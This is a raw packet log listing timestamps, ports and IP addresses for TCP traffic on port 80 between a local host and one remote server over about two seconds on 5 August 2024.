Aug 5, 2024 11:59:19.365619898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.365643978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.365658045 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.366071939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.366082907 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.366094112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.366120100 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.366134882 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.366147041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.366156101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.366177082 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.366215944 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.709042072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709064007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709136009 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.709166050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709213972 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709270000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709275961 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.709283113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709300995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709312916 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709326029 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.709328890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709358931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.709358931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709378004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.709403038 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.710072994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710083961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710094929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710128069 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.710155964 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.710347891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710360050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710371017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710383892 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710395098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710402966 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.710432053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.710818052 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710869074 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.710923910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710936069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710948944 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710969925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710980892 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.710999966 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711002111 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.711013079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711019993 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.711025000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711049080 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.711069107 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.711796999 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711846113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711857080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711869001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:19.711879969 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:19.711910009 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.036756039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036780119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036796093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036812067 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036823988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036839962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036838055 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.036853075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036863089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036883116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036895037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036907911 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.036916971 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.036916971 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.036957026 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.036957026 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037084103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037102938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037117958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037134886 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037164927 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037286997 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037298918 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037308931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037333012 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037365913 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037378073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037388086 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037399054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037409067 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037422895 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037468910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037481070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037497044 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037508965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.037512064 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.037535906 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.038208961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038256884 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.038263083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038275957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038311958 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.038324118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038335085 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038343906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038355112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038374901 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.038408041 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.038417101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038428068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038438082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038449049 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.038460016 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.038496971 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.039108038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.082557917 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317234039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317255020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317265034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317276001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317286968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317297935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317296982 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317310095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317325115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317325115 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317336082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317347050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317358017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317361116 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317369938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317380905 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317420006 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317452908 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317465067 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317473888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317485094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317496061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317497969 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317517042 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.317517996 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.317563057 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.318209887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318254948 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318268061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318289995 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.318325043 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318336010 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318346977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318357944 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318371058 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.318372011 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318383932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318383932 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.318397045 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.318420887 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.318432093 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.319003105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319014072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319022894 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319032907 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319042921 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319052935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319056988 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.319065094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319083929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319097996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319101095 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.319109917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319122076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319128036 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.319132090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319143057 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.319145918 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.319166899 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.363809109 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.404408932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.457566023 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656100988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656120062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656131029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656141996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656153917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656171083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656182051 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656188965 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656192064 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656203032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656213999 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656223059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656225920 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656233072 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656233072 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656256914 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656265020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656275988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656286001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656305075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656305075 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656316996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656327009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656332016 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656338930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656351089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656361103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656364918 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656383038 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656583071 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656697989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656744003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656754971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656805992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656816959 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656826973 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656833887 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656838894 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656867027 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656867027 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.656877041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656888008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656898022 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.656969070 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657428026 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657438993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657449961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657459974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657486916 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657505989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657517910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657533884 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657545090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657546997 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657567024 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657569885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657582045 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657592058 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657597065 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657602072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657613993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657625914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.657633066 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657648087 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.657718897 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:20.743774891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:20.785715103 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001394987 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001413107 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001504898 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001550913 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001562119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001573086 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001586914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001599073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001605988 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001612902 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001629114 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001629114 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001647949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001661062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001672029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001677990 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001682997 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001694918 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001708984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001718998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001729012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001739979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001749992 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001750946 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001749992 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001764059 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001779079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001789093 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001789093 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001835108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001846075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001857996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001873970 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001913071 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001924992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001925945 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.001941919 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.001954079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002005100 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002060890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002072096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002082109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002093077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002105951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002115965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002135038 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002233982 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002496004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002608061 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002621889 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002633095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002643108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002747059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002787113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002799034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002809048 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002820015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002829075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002840996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002851963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002851963 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002865076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.002892971 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.002892971 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.003109932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.003122091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.003128052 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.003220081 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.003428936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.003947973 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.004034996 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.320710897 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320725918 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320735931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320760012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320770979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320780993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320791960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320807934 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320822001 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.320884943 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.320884943 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.320905924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320916891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320925951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320936918 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.320969105 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321012020 CEST	80	49734	27.221.16.149	192.168.2.5
